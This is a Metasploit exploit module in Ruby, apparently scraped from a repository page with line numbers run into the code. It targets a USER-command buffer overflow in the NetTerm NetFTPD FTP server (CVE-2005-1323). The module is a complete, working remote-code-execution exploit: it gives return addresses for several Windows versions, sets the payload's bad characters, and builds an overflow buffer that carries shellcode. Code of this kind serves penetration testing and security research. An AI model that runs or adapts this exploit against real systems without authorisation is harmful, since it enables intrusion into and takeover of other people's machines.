Path: blob/master/modules/exploits/windows/ftp/netterm_netftpd_user.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'NetTerm NetFTPD USER Buffer Overflow',15'Description' => %q{16This module exploits a vulnerability in the NetTerm NetFTPD17application. This package is part of the NetTerm package.18This module uses the USER command to trigger the overflow.19},20'Author' => [ 'hdm' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2005-1323'],24[ 'OSVDB', '15865'],25[ 'URL', 'https://seclists.org/lists/fulldisclosure/2005/Apr/0578.html'],26[ 'BID', '13396'],27],28'Privileged' => false,29'Payload' => {30'Space' => 1000,31'BadChars' => "\x00\x0a\x20\x0d",32'StackAdjustment' => -3500,33},34'Platform' => [ 'win' ],35'Targets' => [36[37'NetTerm NetFTPD Universal', # Tested OK - hdm 11/24/200538{39'Ret' => 0x0040df98, # netftpd.exe (multiple versions)40},41],42[43'Windows 2000 English',44{45'Ret' => 0x75022ac4, # ws2help.dll46},47],48[49'Windows XP English SP0/SP1',50{51'Ret' => 0x71aa32ad, # ws2help.dll52},53],54[55'Windows 2003 English',56{57'Ret' => 0x7ffc0638, # peb magic :-)58},59],60[61'Windows NT 4.0 SP4/SP5/SP6',62{63'Ret' => 0x77681799, # ws2help.dll64},65],66],67'DisclosureDate' => '2005-04-26',68'DefaultTarget' => 0,69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)76end7778def check79connect80disconnect81if (banner =~ /NetTerm FTP server/)82return Exploit::CheckCode::Detected83end8485return Exploit::CheckCode::Safe86end8788def exploit89connect9091print_status("Trying target #{target.name}...")9293# U push ebp94# S push ebx95# E inc ebp96# R push edx97# \x20\xC0 and al, al9899buf = rand_text_english(8192, payload_badchars)100buf[0, 1] = "\xc0"101buf[1, payload.encoded.length] = payload.encoded102buf[1014, 4] = [ target.ret ].pack('V')103104send_cmd(["USER #{buf}"])105send_cmd(['HELP'])106107handler108disconnect109end110end111112113